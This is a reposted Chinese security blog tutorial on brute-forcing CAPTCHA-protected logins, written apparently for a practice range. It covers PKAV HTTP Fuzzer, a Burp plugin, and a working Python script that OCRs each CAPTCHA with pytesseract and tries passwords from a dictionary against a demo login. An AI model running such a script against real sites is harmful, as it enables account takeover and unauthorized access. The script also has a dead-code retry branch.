ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Web安全之爆破中的验证码识别~

2019-06-15 21:39:25  阅读:327  来源: 互联网

标签:Web www code 爆破 reCAPTCHA 验证码 im 识别


写爆破靶场的时候发现对于爆破有验证码的有点意思~这里简单总结下我们爆破有验证码的场景中几种有效的方法~~~

 

0x01 使用现成工具

这里有pkav团队的神器PKAV HTTP Fuzzer 1.5.6可以实现这个功能~

 

我们可以用pkav的国产神器,抓取请求包后,分别标记需要爆破的密码和识别的验证码,然后右侧定义加载的字典

 

配置验证码识别

 

 

 

ok~爆破出来了~

 


 

 

 

0x02 使用爬虫requests库+pytesseract库

当然神器也不是每次都能识别出来,我们也可以使用强大py第三方库来识别爆破

可以使用requests库来发包(这个比selenium简单~~不过也就使用这种简单场景) pytesseract来识别验证码~~~具体安装使用可以看我另一篇博客~https://www.cnblogs.com/-qing-/p/11027821.html

附上自己写的小脚本

# -*- coding: utf-8 -*-
#后台带验证码爆破 By 卿
import requests
import pytesseract
import re

code_url='http://www.brute_demo.com/vaildcode.php' #验证码地址
brute_url='http://www.brute_demo.com/brute_4.php' #表单提交地址

#识别验证码的函数
def  user_code():
#获取图片验证码
    r = s.get(code_url)
    with open('1.png', 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:  
                f.write(chunk)
                f.flush()
        f.close()
    #识别图片验证码
    im = pytesseract.image_to_string('1.png')
    im = im.replace(' ', '')
    return im
    #有时候识别失败可以加载正则再次识别
    if re.match('[0-9]{4}',im):#4位数字的验证码
        return im
    else:
        return user_code()#再次识别

s=requests.session()
headers = {"Content-Type":"application/x-www-form-urlencoded","Connection":"Keep-Alive"}
with open(r'pass.dic', 'r') as Pass:#加载密码字典
    for password in Pass.readlines():
        code = user_code()
        print("验证码"+code)
        data = {'username':'qing','password':password,'submit':'submit','checkNum':code}
        r=s.post(brute_url,data=data,headers=headers)
        #密码正确
        if 'Password mistake' not in r.text:
            print("正确的密码为:"+password)
            break

 

 

 

 

0x03 使用Burp插件reCAPTCHA

reCAPTCHA

一个burp插件,自动识别图形验证码,并用于Intruder中的Payload。最新版支持 GSA Captcha Breaker, 这个软件可以本地运行,速度杠杠的!

项目主页:https://github.com/bit4woo/reCAPTCHA

 

使用:

选中需要识别验证码的包并点击右键选择“Send to reCAPTCHA”,这个请求的信息将被发送到reCAPTCHA。

 

  1. 切换到reCAPTCHA标签,并配置所需的参数。当参数配置好后,你可以点击“请求”按钮来测试配置。
  2. http://www.ysdm.net 的API是目前唯一支持的接口,其中的各项参数需要自行注册帐号并填写,才能成功调用接口完成图片的识别。该API需要的参数如下,请用正确的值替换%s ,特别注意typeid值的设定(http://www.ysdm.net/home/PriceType)。

    username=%s&password=%s&typeid=%s

在Intruder中使用:

完成了配置并测试成功后,现在可以在Intruder中使用该插件生成的payload了

 

标签:Web,www,code,爆破,reCAPTCHA,验证码,im,识别
来源: https://www.cnblogs.com/-qing-/p/11028928.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有